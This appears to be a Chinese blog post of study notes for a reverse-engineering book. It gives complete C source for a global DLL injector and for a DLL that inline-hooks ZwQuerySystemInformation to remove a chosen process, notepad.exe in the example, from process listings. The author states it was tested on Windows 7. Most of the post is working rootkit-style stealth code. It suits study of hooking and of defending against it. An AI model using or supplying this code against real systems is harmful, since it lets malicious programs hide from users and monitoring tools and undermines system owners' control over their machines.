逆向工程核心原理 使用代码钩取技术钩取ZwQuerySystemInformation达到隐藏进程的目的
因为我喜欢把功能封装成函数集中放在头文件中,要导入两个我自己编写的头文件
链接: http://pan-yz.chaoxing.com/share/info/e9683ebe7126a18f
首先是注入程序 他可以将dll注入至pid>100的进程中 也可以卸载dll
隐藏进程3.c
#include <process_plus.h> #include <stdio.h> int main(){ //BOOL inject = TRUE; BOOL inject =TRUE;//是否为注入模式,不是则为解注模式 TCHAR *wDllName =L"c:\\Users\\administrator\\documents\\visual studio 2010\\Projects\\隐藏进程3\\debug\\stealth2.dll";\\这是注入的dll路径 //导入stealth.dll模块 void (*setProcName)(TCHAR*); HMODULE hStealth = LoadLibrary(wDllName); setProcName = (void (*)(TCHAR*))GetProcAddress(hStealth,"setProcName"); //为共享变量赋值 setProcName(L"notepad.exe"); //全局注入或卸载 //dllInject(findProcessID(L"taskmgr.exe"),wDllName); if(inject==TRUE) GlobalInject(wDllName,100); else GlobalEnject(wDllName,100); system("pause"); FreeLibrary(hStealth); }
首先是dll 它可以对ZwQuerySystemInformation下钩子 钩子函数会对进程信息进行修改 有关ZwQuerySystemInformation可查看 https://www.cnblogs.com/czlnb/p/14647108.html
stealth2.c
#include <process_plus.h> #define DEF_NTDLL "ntdll.dll" #define DEF_NTQUERY "ZwQuerySystemInformation" #pragma comment(linker, "/SECTION:.SHARE,RWS") //声明要创建一个共享节区 名字叫.SHARE ,操作权限为可读,可写, #pragma data_seg(".SHARE")//界定节区范围 在data_seg 内声明的变量将会在指定的共享节区内 TCHAR ProcName[MAX_PATH] = {0,}; #pragma data_seg() #ifdef __cplusplus //如果是c++文件,就将endif内的代码用c编译器编译 extern "C" { #endif __declspec(dllexport) void setProcName(LPCTSTR szProcName)//__declspec(dllexport) 声明此函数为导出函数 { _tcscpy_s(ProcName, szProcName); } #ifdef __cplusplus } #endif typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; //下一个进程结构体的相对位置,用此结构体的地址加上NextEntryOffset就可以得到下一个结构体的地址 ULONG NumberOfThreads; BYTE Reserved1[48]; PVOID Reserved2[3]; //数组第二个就是进程名的字符串指针 HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION,*PSYSTEM_PROCESS_INFORMATION; byte pOrgBytes[5]; NTSTATUS (WINAPI *ZwQuerySystemInformation)(UINT,PVOID,ULONG,PULONG); NTSTATUS WINAPI hookZwQuerySystemInformation(UINT SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength){ NTSTATUS result; PSYSTEM_PROCESS_INFORMATION spi; PSYSTEM_PROCESS_INFORMATION pre; unhookByCode(DEF_NTDLL,DEF_NTQUERY,(PBYTE)pOrgBytes); ZwQuerySystemInformation = (NTSTATUS (WINAPI *)(UINT,PVOID,ULONG,PULONG))getAPIAddress(_T(DEF_NTDLL),DEF_NTQUERY); result = ZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength); if (result!=0x00000000L) return result; if (SystemInformationClass==5) { pre = spi = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; do { //查看进程名是否与所隐藏进程名相等 if (spi->Reserved2[1]!=0&&!_tcsicmp(ProcName,(PWSTR)spi->Reserved2[1])) { if (spi->NextEntryOffset==0) { pre->NextEntryOffset=0; } else pre->NextEntryOffset=spi->NextEntryOffset+pre->NextEntryOffset; } pre = spi; spi = (PSYSTEM_PROCESS_INFORMATION)((ULONG)spi + spi->NextEntryOffset); } while (pre->NextEntryOffset!=0); } hookByCode(DEF_NTDLL,DEF_NTQUERY,(PROC)hookZwQuerySystemInformation,pOrgBytes); return result; } BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call,LPVOID lpReserved) { TCHAR procName[MAX_PATH] = {0,}; wchar_t * p; GetModuleFileNameW(0,procName,MAX_PATH); p = wcsrchr(procName,L'\\'); if (!wcscmp(p+1,L"隐藏进程3.exe")) return TRUE; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //当进程加载dll时调用dllMain hookByCode(DEF_NTDLL,DEF_NTQUERY,(PROC)hookZwQuerySystemInformation,pOrgBytes); break; case DLL_PROCESS_DETACH: //当进程卸载dll时调用dllMain unhookByCode(DEF_NTDLL,DEF_NTQUERY,(PBYTE)pOrgBytes); break; case DLL_THREAD_ATTACH: //当线程加载dll时调用dllMain break; case DLL_THREAD_DETACH://当线程卸载dll时调用dllMain break; } return (TRUE); }
编译环境 : vs2010 字符集 宽字节 已在window7 32位测试通过